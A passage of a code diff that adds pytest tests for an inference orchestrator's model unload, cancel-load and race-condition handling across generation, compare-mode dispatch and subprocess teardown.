monitor.active_count() == 0 + + asyncio.run(_run()) + # ===================================================================== # GGUF chat-template role alternation: coalesce orphaned user turns left diff --git a/studio/backend/tests/test_orchestrator_unload_cancel.py b/studio/backend/tests/test_orchestrator_unload_cancel.py new file mode 100644 index 0000000000..fe3c6d5a0d --- /dev/null +++ b/studio/backend/tests/test_orchestrator_unload_cancel.py @@ -0,0 +1,1622 @@ +# SPDX-License-Identifier: AGPL-3.0-only +"""unload_model cancels an in-flight generation instead of waiting it out. + +The sequential subprocess used to queue ``unload`` behind a running ``generate``, +hanging the UI. ``unload_model`` now cancels first (the mp.Event the worker checks +each token) and takes ``_gen_lock`` before the unload round-trip. +""" + +import threading +import time + +import pytest + +from core.inference import orchestrator as orch_mod +from core.inference.orchestrator import InferenceOrchestrator + + +def _bare_orchestrator(): + """An orchestrator without the real __init__ subprocess/network.""" + o = InferenceOrchestrator.__new__(InferenceOrchestrator) + o._gen_lock = threading.Lock() + o._cancel_event = threading.Event() # stands in for the mp.Event + o._drain_event = threading.Event() # stands in for the unload-drain mp.Event + o._proc = object() # truthy so _ensure_subprocess_alive reports alive + o._cmd_queue = object() + o._resp_queue = object() + o._dispatcher_thread = None + o._dispatcher_stop = threading.Event() + o._dispatcher_lifecycle_lock = threading.Lock() + o._unload_pending = False + o.active_model_name = "m" + o.models = {"m": {}} + o.loading_models = set() + return o + + +def test_unload_cancels_inflight_generation_then_unloads(monkeypatch): + o = _bare_orchestrator() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + sent = [] + monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd)) + monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"}) + monkeypatch.setattr(o, "_drain_queue", lambda: []) + + # A generation holds _gen_lock and releases it only once cancelled. + o._gen_lock.acquire() + + def releaser(): + o._cancel_event.wait(timeout = 5) # released only after the cancel fires + o._gen_lock.release() + + t = threading.Thread(target = releaser) + t.start() + + start = time.monotonic() + ok = o.unload_model("m") + elapsed = time.monotonic() - start + t.join(timeout = 5) + + assert ok is True + assert o._cancel_event.is_set(), "generation must be cancelled before the unload" + assert {"type": "unload", "model_name": "m"} in sent + assert o.active_model_name is None + assert "m" not in o.models + # Waited on the released-after-cancel lock, not a full generation. + assert elapsed < 2.0 + + +def test_unload_no_active_generation_unloads_normally(monkeypatch): + o = _bare_orchestrator() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + sent = [] + monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd)) + monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"}) + monkeypatch.setattr(o, "_drain_queue", lambda: []) + + ok = o.unload_model("m") + + assert ok is True + assert {"type": "unload", "model_name": "m"} in sent + assert o.active_model_name is None + # Lock released for the next caller. + assert o._gen_lock.acquire(blocking = False) + o._gen_lock.release() + + +def test_unload_falls_back_to_shutdown_when_generation_wont_yield(monkeypatch): + o = _bare_orchestrator() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr(orch_mod, "_UNLOAD_GEN_LOCK_TIMEOUT", 0.2) + shutdown = [] + monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout)) + monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("must not send unload when wedged")) + + # A wedged worker never releases _gen_lock, even after the cancel. + o._gen_lock.acquire() + + ok = o.unload_model("m") + + assert ok is True + assert shutdown, "should tear the subprocess down to free the GPU" + assert o.active_model_name is None + + +def test_unload_tears_down_when_compare_dispatcher_wedged(monkeypatch): + # A wedged compare-mode generation bypasses _gen_lock, so the acquire guard + # misses it and _send_cmd/_wait_response would hang on resp_queue. Unload must + # instead tear the subprocess down, like the wedged locked-generation path. + o = _bare_orchestrator() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr(orch_mod, "_DISPATCH_IDLE_TIMEOUT", 0.2) + + # A live dispatcher whose mailbox never drains == a wedged compare-mode gen. + o._mailbox_lock = threading.Lock() + o._mailboxes = {"req-1": object()} + + class _AliveThread: + def is_alive(self): + return True + + o._dispatcher_thread = _AliveThread() + + shutdown = [] + monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout)) + monkeypatch.setattr(o, "_drain_queue", lambda: []) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("must not send unload with a wedged dispatcher") + ) + monkeypatch.setattr( + o, + "_wait_response", + lambda t, timeout = 300.0: pytest.fail( + "must not wait on resp_queue with a wedged dispatcher" + ), + ) + + # _gen_lock is free (compare mode never took it), so the acquire guard passes. + ok = o.unload_model("m") + + assert ok is True + assert shutdown, "should tear the subprocess down to free the GPU" + assert o.active_model_name is None + assert "m" not in o.models + + +def test_consume_token_stream_bails_when_subprocess_swapped(monkeypatch): + # After a wedged-worker teardown a fresh load swaps _proc/_resp_queue; the + # still-live generation thread must detect the swap and bail, not re-block on + # the new queue while holding _gen_lock. + o = _bare_orchestrator() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr( + o, "_subprocess_crash_message", lambda ctx: "inference subprocess restarted" + ) + + def read_one(timeout): + o._proc = object() # simulate the reload swapping the subprocess + return None + + gen = o._consume_token_stream(read_one, lambda: None, crash_context = "generation") + msg = next(gen) + + assert "restarted" in msg + with pytest.raises(StopIteration): + next(gen) + + +def test_unload_pending_clears_after_unload(monkeypatch): + o = _bare_orchestrator() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr(o, "_send_cmd", lambda cmd: None) + monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"}) + monkeypatch.setattr(o, "_drain_queue", lambda: []) + + o.unload_model("m") + + # The flag must not leak past the unload, else every later generation bails. + assert o._unload_pending is False + + +def test_generation_bails_when_unload_pending(monkeypatch): + # Winning the _gen_lock handoff mid-switch must not start on the outgoing model. + o = _bare_orchestrator() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + o._unload_pending = True + + out = list(o._generate_inner(messages = [{"role": "user", "content": "hi"}])) + + assert any("unloaded" in chunk.lower() for chunk in out) + # It released (or never held) the lock, so the pending unload can proceed. + assert o._gen_lock.acquire(blocking = False) + o._gen_lock.release() + + +def test_dispatched_generation_bails_when_unload_pending(monkeypatch): + # Compare-mode bypasses _gen_lock, so it must early-out on a pending switch or + # it enqueues a generate on the outgoing model and delays the unload. + o = _bare_orchestrator() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr( + o, "_start_dispatcher", lambda: pytest.fail("must not start a generation mid-switch") + ) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("must not send generate mid-switch") + ) + o._unload_pending = True + + out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}])) + + assert any("unloaded" in chunk.lower() for chunk in out) + + +def test_audio_input_generation_bails_when_unload_pending(monkeypatch): + # The audio path takes _gen_lock but must also skip the outgoing model mid-switch. + o = _bare_orchestrator() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("must not send generate mid-switch") + ) + o._unload_pending = True + + out = list(o._generate_audio_input_inner(audio_array = [0.0, 0.1])) + + assert any("unloaded" in chunk.lower() for chunk in out) + # Lock released so the pending unload can proceed. + assert o._gen_lock.acquire(blocking = False) + o._gen_lock.release() + + +def test_audio_response_bails_when_unload_pending(monkeypatch): + # TTS (generate_audio_response) is blocking, so it RAISES rather than starting on the + # outgoing model mid-switch; it takes _gen_lock and must release it either way. + o = _bare_orchestrator() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("must not send audio generate mid-switch") + ) + o._unload_pending = True + + with pytest.raises(RuntimeError, match = "unload"): + o.generate_audio_response("hello") + + # Lock released so the pending unload can proceed. + assert o._gen_lock.acquire(blocking = False) + o._gen_lock.release() + + +# ---------------------------------------------------------------------------- +# Preserve unload cancels across the queue handoff (drain_event) — items #1/#4. +# ---------------------------------------------------------------------------- + + +def test_worker_drain_skip_emits_cancelled_gen_done_when_draining(): + # The worker clears cancel_event at the start of every generate, so a cancel set + # while a generate is still queued would be lost when it is dequeued. drain_event + # is the durable signal: while it is set the worker skips the generate (emitting an + # immediate gen_done so the stream/mailbox drains) instead of running it. + import queue as _queue + + from core.inference.worker import _drain_skip_generate + + drain = threading.Event() + rq: _queue.Queue = _queue.Queue() + cmd = {"type": "generate", "request_id": "r1"} + + # Not draining -> run normally (do not skip, emit nothing). + assert _drain_skip_generate(cmd, rq, drain) is False + assert rq.empty() + # Missing event (older worker) -> also runs normally. + assert _drain_skip_generate(cmd, rq, None) is False + assert rq.empty() + + # Draining -> skip and emit a cancelled gen_done for this request_id. + drain.set() + assert _drain_skip_generate(cmd, rq, drain) is True + resp = rq.get_nowait() + assert resp["type"] == "gen_done" + assert resp["request_id"] == "r1" + assert resp["cancelled"] is True + + +def test_worker_generate_branches_check_drain_before_clearing_cancel(): + # Both worker command loops (MLX fast-path + GPU) must consult the drain skip + # before clearing cancel_event and running, so a queued generate can't clear an + # unload-initiated cancel and run the outgoing model to completion. Each loop + # checks the drain twice -- once before the clear and once after -- so a + # drain+cancel pair that lands in the window between them is still caught. + import inspect + + from core.inference import worker + + src = inspect.getsource(worker.run_inference_process) + assert src.count("_drain_skip_generate(cmd, resp_queue, drain_event)") == 4 + + +def test_worker_generate_rechecks_drain_after_clearing_cancel(): + # The exact interleaving item #3 describes: the drain check reads unset, then the + # parent sets drain+cancel for an unload, then the worker clears cancel_event + # (erasing that cancel). A second drain check *after* the clear catches it and + # skips the generate instead of running the outgoing model to completion. + import queue as _queue + + from core.inference.worker import _drain_skip_generate + + drain = threading.Event() + cancel = threading.Event() + rq: _queue.Queue = _queue.Queue() + cmd = {"type": "generate", "request_id": "r1"} + + # 1. Pre-clear drain check: not draining yet -> run (no skip, no emit). + assert _drain_skip_generate(cmd, rq, drain) is False + assert rq.empty() + + # 2. Parent starts an unload: sets drain, then cancel (orchestrator order). + drain.set() + cancel.set() + + # 3. Worker clears cancel at the start of the generate -- erasing the cancel. + cancel.clear() + assert not cancel.is_set() + + # 4. Post-clear drain re-check catches the erased cancel and skips. + assert _drain_skip_generate(cmd, rq, drain) is True + resp = rq.get_nowait() + assert resp["type"] == "gen_done" and resp["cancelled"] is True + + +def test_unload_sets_drain_event_during_switch_and_clears_after(monkeypatch): + o = _bare_orchestrator() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr(o, "_drain_queue", lambda: []) + monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"}) + + seen = {} + + def record_send(cmd): + # drain_event must be set for the whole unload round-trip so any generate the + # worker dequeues in this window is skipped, not run. + seen["drain_set"] = o._drain_event.is_set() + + monkeypatch.setattr(o, "_send_cmd", record_send) + + assert o.unload_model("m") is True + assert seen.get("drain_set") is True + # Cleared on exit so a later generation (e.g. unloading a non-active model, or a + # reused subprocess) is not wrongly skipped. + assert o._drain_event.is_set() is False + + +def test_unload_clears_drain_event_even_on_wedged_teardown(monkeypatch): + o = _bare_orchestrator() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr(orch_mod, "_UNLOAD_GEN_LOCK_TIMEOUT", 0.2) + monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("must not send when wedged")) + + # A wedged worker never releases _gen_lock; unload tears the subprocess down. The + # real teardown nulls _drain_event, so emulate that so the finally exercises its guard. + def fake_shutdown(timeout = 5): + o._drain_event = None + + monkeypatch.setattr(o, "_shutdown_subprocess", fake_shutdown) + o._gen_lock.acquire() + + assert o.unload_model("m") is True # must not raise in the drain_event clear + + +# ---------------------------------------------------------------------------- +# Recheck the active model after the lock wait — items #2/#3. +# ---------------------------------------------------------------------------- + + +def test_generation_rechecks_model_after_lock_wait(monkeypatch): + # A request passes the pre-lock active-model check, then blocks on _gen_lock while + # an unload clears/swaps the model. Even if _unload_pending was already reset (the + # unload's finally runs after the lock release), the under-lock active-model recheck + # must make it bail instead of sending a generate to the wrong/unloaded backend. + o = _bare_orchestrator() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("must not generate on a swapped/unloaded model") + ) + + reached_lock = threading.Event() + # _wait_dispatcher_idle runs after the pre-lock check and before acquiring the lock; + # signalling here means the generator captured the model and is about to block. + monkeypatch.setattr(o, "_wait_dispatcher_idle", lambda: (reached_lock.set(), True)[1]) + + o.active_model_name = "m" + o._unload_pending = False + o._gen_lock.acquire() # stand in for an in-flight unload holding the lock + + out: list = [] + + def run(): + out.extend(o._generate_inner(messages = [{"role": "user", "content": "hi"}])) + + t = threading.Thread(target = run) + t.start() + assert reached_lock.wait(timeout = 5) + # Unload finished: model swapped, pending already cleared. Release the lock. + o.active_model_name = "other" + o._gen_lock.release() + t.join(timeout = 5) + + assert out and any("unloaded" in chunk.lower() for chunk in out) + + +def test_generation_rechecks_model_when_unloaded_to_none(monkeypatch): + # Same race, but the unload left no active model (a plain unload, not a switch). + o = _bare_orchestrator() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("must not generate after the model was unloaded") + ) + reached_lock = threading.Event() + monkeypatch.setattr(o, "_wait_dispatcher_idle", lambda: (reached_lock.set(), True)[1]) + + o.active_model_name = "m" + o._unload_pending = False + o._gen_lock.acquire() + + out: list = [] + t = threading.Thread( + target = lambda: out.extend(o._generate_inner(messages = [{"role": "user", "content": "hi"}])) + ) + t.start() + assert reached_lock.wait(timeout = 5) + o.active_model_name = None + o._gen_lock.release() + t.join(timeout = 5) + + assert out and any("unloaded" in chunk.lower() for chunk in out) + + +# ---------------------------------------------------------------------------- +# Don't unload a stale model name (worker's active-model fallback) — item #5. +# ---------------------------------------------------------------------------- + + +def test_unload_of_stale_name_does_not_touch_active_model(monkeypatch): + # If the named model isn't loaded (e.g. a concurrent load already swapped in a + # different one), unload must not send a command the worker would satisfy by + # unloading its *active* model. + o = _bare_orchestrator() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("must not send an unload for a stale model name") + ) + o.active_model_name = "current" + o.models = {"current": {}} + + assert o.unload_model("stale") is True + # The active model is left intact. + assert o.active_model_name == "current" + assert "current" in o.models + + +def test_unload_matches_active_model_case_insensitively(monkeypatch): + # active_model_name can differ in case from the raw model_path a client sends + # to /unload (the load path canonicalizes casing). The stale-name guard must + # match case-insensitively too; otherwise it no-ops the unload and leaves the + # model resident while reporting success. + o = _bare_orchestrator() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + sent = [] + monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd)) + monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"}) + monkeypatch.setattr(o, "_drain_queue", lambda: []) + + o.active_model_name = "unsloth/Qwen3-4B" + o.models = {"unsloth/Qwen3-4B": {}} + + # Client unloads with the casing it originally typed, before canonicalization. + assert o.unload_model("unsloth/qwen3-4b") is True + # The guard did not no-op: an unload for the canonical active model reached + # the worker (not the raw lowercase name, so the worker matches it directly). + assert {"type": "unload", "model_name": "unsloth/Qwen3-4B"} in sent + # Local state is cleared for the canonical name, not left stale. + assert o.active_model_name is None + assert o.models == {} + + +def test_unload_of_stale_name_still_no_ops_after_case_insensitive_match(monkeypatch): + # The case-insensitive match must only rescue the active model; a genuinely + # different model name (case-insensitively too) must still no-op so the + # worker's absent-name fallback can't tear down the active model. + o = _bare_orchestrator() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("must not send an unload for a stale model name") + ) + o.active_model_name = "unsloth/Qwen3-4B" + o.models = {"unsloth/Qwen3-4B": {}} + + assert o.unload_model("unsloth/Llama-3.1-8B") is True + assert o.active_model_name == "unsloth/Qwen3-4B" + assert "unsloth/Qwen3-4B" in o.models + + +def test_load_does_not_accumulate_stale_models_defeating_the_unload_guard(monkeypatch): + # A load always spawns a fresh subprocess holding only the new model, so + # self.models must mirror that instead of accumulating the previous model's name. + # Otherwise switching A -> B leaves 'A' in self.models, so a later unload('A') + # passes the "not in self.models" guard and the worker's absent-name fallback + # unloads the *active* model B. + import types + + from utils import transformers_version as _tv + + o = _bare_orchestrator() + o.active_model_name = None + o.models = {} + + monkeypatch.setattr(_tv, "needs_transformers_5", lambda name: False) + monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda *a, **k: ([], {})) + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: None) + monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: None) + monkeypatch.setattr(orch_mod.time, "sleep", lambda *_a, **_k: None) + + def _load(name): + monkeypatch.setattr( + o, + "_wait_response", + lambda expected, timeout = 300.0: { + "type": "loaded", + "success": True, + "model_info": {"identifier": name, "display_name": name}, + }, + ) + assert o.load_model(types.SimpleNamespace(identifier = name, gguf_variant = None)) is True + + _load("modelA") + _load("modelB") # switch to B without unloading A first + + # self.models mirrors the single live model; the swapped-out name is gone. + assert o.active_model_name == "modelB" + assert set(o.models) == {"modelB"} + + # A stale unload of the swapped-out model must not reach the worker (whose + # absent-name fallback would unload the active model B). + monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("stale unload reached the worker")) + assert o.unload_model("modelA") is True + assert o.active_model_name == "modelB" + assert "modelB" in o.models + + +def test_unload_route_serializes_with_loads_via_lifecycle_gate(monkeypatch): + # Item #5: /unload must hold the same lifecycle gate as /load so a concurrent load + # can't swap the backend subprocess/queues mid-unload. + import asyncio + + import routes.inference as inference_route + from core.inference import llama_keepwarm as kw + from models.inference import UnloadRequest + + class _Llama: + is_active = False + is_loaded = False + model_identifier = None + + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: _Llama()) + monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False) + + unloaded: list = [] + + class _Backend: + active_model_name = "m" + models = {"m": {}} + + def unload_model(self, name): + unloaded.append(name) + return True + + monkeypatch.setattr(inference_route, "get_inference_backend", lambda: _Backend()) + + async def scenario(): + # Hold the real gate, exactly as an in-flight /load would. + assert kw._lifecycle_lock.acquire(blocking = False) + try: + task = asyncio.ensure_future( + inference_route.unload_model(UnloadRequest(model_path = "m"), "tester") + ) + # Yield to the loop repeatedly: the route must stay blocked on the gate. + for _ in range(10): + await asyncio.sleep(0.01) + assert unloaded == [], "unload ran while the lifecycle gate was held" + assert not task.done() + finally: + kw._lifecycle_lock.release() + resp = await task + assert resp.status == "unloaded" + assert unloaded == ["m"] + + asyncio.run(scenario()) + + +# ---------------------------------------------------------------------------- +# Cancel an in-flight load OFF the lifecycle gate (Stop-loading regression). +# /load holds the gate for the whole load, so a gated /unload could never +# interrupt it; cancel_load only tears the loading subprocess down. +# ---------------------------------------------------------------------------- + + +def test_cancel_load_terminates_loading_subprocess_and_sends_no_command(monkeypatch): + o = _bare_orchestrator() + o.loading_models = {"m"} + o.active_model_name = None + o.models = {} + shutdown = [] + monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout)) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("cancel_load must not send a worker command") + ) + + assert o.cancel_load("m") is True + assert shutdown, "must tear the loading subprocess down" + assert "m" not in o.loading_models + assert o.active_model_name is None + # A name that is not loading -> no-op, returns False so the caller takes the gate. + assert o.cancel_load("other") is False + + +def test_cancel_load_matches_loading_model_case_insensitively(monkeypatch): + o = _bare_orchestrator() + o.loading_models = {"unsloth/Qwen3-4B"} + monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: None) + + assert o.cancel_load("unsloth/qwen3-4b") is True + assert o.loading_models == set() + + +def test_unload_model_cancels_a_loading_model_via_cancel_load(monkeypatch): + # unload_model still cancels an in-flight load (shared logic with cancel_load). + o = _bare_orchestrator() + o.loading_models = {"m"} + o.active_model_name = None + shutdown = [] + monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout)) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("must not send a command to cancel a load") + ) + + assert o.unload_model("m") is True + assert shutdown + assert "m" not in o.loading_models + + +def test_unload_route_cancels_in_flight_load_without_waiting_on_gate(monkeypatch): + # The regression: /unload wrapped its whole body in the lifecycle gate, so the + # Stop-loading button (cancelLoading -> /unload) could not interrupt a safetensors + # load that holds the gate for its full duration. The cancel must run off-gate. + import asyncio + + import routes.inference as inference_route + from core.inference import llama_keepwarm as kw + from models.inference import UnloadRequest + + class _Llama: + is_active = False + is_loaded = False + model_identifier = None + + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: _Llama()) + monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False) + + cancelled: list = [] + + class _Backend: + active_model_name = None + models: dict = {} + + def get_loading_model(self): + return "m" + + def cancel_load(self, name): + cancelled.append(name) + return True + + def unload_model(self, name): + pytest.fail("must not take the gated unload path for a still-loading model") + + monkeypatch.setattr(inference_route, "get_inference_backend", lambda: _Backend()) + + async def scenario(): + # Hold the real gate, exactly as an in-flight /load would. + assert kw._lifecycle_lock.acquire(blocking = False) + try: + # Even with the gate held, the loading-cancel must go through. + resp = await inference_route.unload_model(UnloadRequest(model_path = "m"), "tester") + assert resp.status == "unloaded" + assert cancelled == ["m"] + finally: + kw._lifecycle_lock.release() + + asyncio.run(scenario()) + + +# ---------------------------------------------------------------------------- +# A dispatched (compare-mode) request that races an unload must not orphan its +# mailbox after _wait_dispatcher_idle stops the dispatcher. +# ---------------------------------------------------------------------------- + + +def test_dispatched_bails_when_unload_flips_before_mailbox_registration(monkeypatch): + # The request passes the pre-work _unload_pending check, then an unload sets + # _unload_pending and _wait_dispatcher_idle stops the dispatcher (mailboxes empty) + # before this request registers its mailbox. The recheck under _mailbox_lock must + # make it bail, or the worker's skipped-generate reply has nothing to route it and + # the compare stream hangs on an orphaned mailbox. + o = _bare_orchestrator() + o._mailbox_lock = threading.Lock() + o._mailboxes = {} + o._unload_pending = False + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr(o, "_start_dispatcher", lambda: None) + + # Flip the unload flag after the pre-work check (626) but before mailbox + # registration -- exactly the window _wait_dispatcher_idle exploits. + def flip(*a, **k): + o._unload_pending = True + return {"type": "generate", "request_id": "r1"} + + monkeypatch.setattr(o, "_build_generate_cmd", flip) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped") + ) + + out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}])) + + assert any("unloaded" in chunk.lower() for chunk in out) + assert o._mailboxes == {}, "must not leave an orphaned mailbox" + + +# ---------------------------------------------------------------------------- +# Dispatched path: bail when a cleared-pending unload swapped the model or +# tore the dispatcher down during the pre-registration window -- item #2. +# ---------------------------------------------------------------------------- + + +class _AliveDispatcher: + """Stand-in dispatcher thread that reports itself alive.""" + + def is_alive(self): + return True + + +def test_dispatched_bails_when_model_swapped_before_mailbox_registration(monkeypatch): + # The request passes the pre-work checks, then a full unload+reload completes + # (clearing _unload_pending) before this request registers its mailbox. The + # under-lock recheck must notice active_model_name changed and bail, instead of + # sending a generate that lands on the swapped-in model. + o = _bare_orchestrator() + o._mailbox_lock = threading.Lock() + o._mailboxes = {} + o._unload_pending = False + o._dispatcher_thread = _AliveDispatcher() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr(o, "_start_dispatcher", lambda: None) + + # Swap the active model after the pre-work check but before registration, + # with _unload_pending already back to False (the unload finally ran). + def swap(*a, **k): + o.active_model_name = "other" + return {"type": "generate", "request_id": "r1"} + + monkeypatch.setattr(o, "_build_generate_cmd", swap) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("must not generate on the swapped-in model") + ) + + out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}])) + + assert any("unloaded" in chunk.lower() for chunk in out) + assert o._mailboxes == {}, "must not leave an orphaned mailbox" + + +def test_dispatched_bails_when_dispatcher_stopped_before_mailbox_registration(monkeypatch): + # Same window, but the unload was a same-model reload so active_model_name is + # unchanged; the give-away is that the dispatcher was stopped. Registering a + # mailbox with no dispatcher to route the reply would hang the compare stream. + o = _bare_orchestrator() + o._mailbox_lock = threading.Lock() + o._mailboxes = {} + o._unload_pending = False + o._dispatcher_thread = _AliveDispatcher() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr(o, "_start_dispatcher", lambda: None) + + def stop_dispatcher(*a, **k): + o._dispatcher_thread = None # unload's _stop_dispatcher cleared it + return {"type": "generate", "request_id": "r1"} + + monkeypatch.setattr(o, "_build_generate_cmd", stop_dispatcher) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("must not generate with the dispatcher stopped") + ) + + out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}])) + + assert any("unloaded" in chunk.lower() for chunk in out) + assert o._mailboxes == {}, "must not leave an orphaned mailbox" + + +def test_dispatched_happy_path_registers_and_sends(monkeypatch): + # Guard against a false bail: with the model unchanged and the dispatcher alive, + # the recheck must let the generate through (register a mailbox and send). + o = _bare_orchestrator() + o._mailbox_lock = threading.Lock() + o._mailboxes = {} + o._unload_pending = False + o._dispatcher_thread = _AliveDispatcher() + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr(o, "_start_dispatcher", lambda: None) + monkeypatch.setattr( + o, "_build_generate_cmd", lambda *a, **k: {"type": "generate", "request_id": "r1"} + ) + sent = [] + monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd)) + + # Feed one gen_done so the consumer returns promptly. + def fake_consume(read_mailbox, drainer, **k): + mbox = o._mailboxes.get("r1") + if mbox is not None: + mbox.put({"type": "gen_done", "request_id": "r1"}) + yield "" + + monkeypatch.setattr(o, "_consume_token_stream", fake_consume) + + list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}])) + + assert sent, "happy path must send the generate command" + assert o._mailboxes == {}, "mailbox popped in finally" + + +# ---------------------------------------------------------------------------- +# load_model observes a cancel that discarded its loading marker -- item #4. +# ---------------------------------------------------------------------------- + + +def test_load_model_aborts_when_cancelled_before_spawn(monkeypatch): + # Stop-loading during GPU placement discards the loading marker (cancel_load) with + # no child yet to kill. load_model must observe the removal and not spawn a worker + # that loads the model after /unload already reported it unloaded. + o = _bare_orchestrator() + o.active_model_name = None + o.models = {} + o.loading_models = set() + o._proc = None + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False) + monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: None) + monkeypatch.setattr( + o, "_spawn_subprocess", lambda cfg: pytest.fail("must not spawn a worker after a cancel") + ) + + import utils.transformers_version as tv + + monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False) + + # cancel_load discards the marker while we resolve GPU placement. + def cancel_during_gpu(gpu_ids, **k): + o.loading_models.discard("m") + return ([0], "sel") + + monkeypatch.setattr(orch_mod, "prepare_gpu_selection", cancel_during_gpu) + + class _Cfg: + identifier = "m" + + ok = o.load_model(_Cfg()) + + assert ok is False + assert o.active_model_name is None + assert o.models == {} + + +def test_load_model_proceeds_when_not_cancelled(monkeypatch): + # Guard against a false abort: an uncancelled load keeps its marker and spawns. + o = _bare_orchestrator() + o.active_model_name = None + o.models = {} + o.loading_models = set() + o._proc = None + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False) + monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: None) + + spawned = [] + monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: spawned.append(cfg)) + monkeypatch.setattr( + o, + "_wait_response", + lambda t, timeout = 300.0: {"success": True, "model_info": {"identifier": "m"}}, + ) + + import utils.transformers_version as tv + + monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False) + monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda gpu_ids, **k: ([0], "sel")) + + class _Cfg: + identifier = "m" + + ok = o.load_model(_Cfg()) + + assert ok is True + assert spawned, "uncancelled load must spawn a worker" + assert o.active_model_name == "m" + + +def test_load_model_aborts_when_cancelled_during_spawn(monkeypatch): + # Stop-loading can land AFTER the pre-spawn marker recheck but while + # _spawn_subprocess is still creating the queues/process, so cancel_load's + # _shutdown_subprocess finds _proc not yet alive and no-ops. load_model must + # recheck the marker once the child exists and tear the orphaned worker down, + # instead of waiting for "loaded" and publishing a model /unload already + # reported as unloaded (a live subprocess nothing later reaps). + import types + + from utils import transformers_version as tv + + o = _bare_orchestrator() + o.active_model_name = None + o.models = {} + o.loading_models = {"m"} + o._proc = None + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False) + monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False) + monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda gpu_ids, **k: ([0], "sel")) + + # The cancel lands during the spawn window: cancel_load already discarded the + # marker, but its teardown no-oped because _proc was not alive yet. + def spawn_then_cancel(cfg): + o.loading_models.discard("m") + + monkeypatch.setattr(o, "_spawn_subprocess", spawn_then_cancel) + + shutdown = [] + 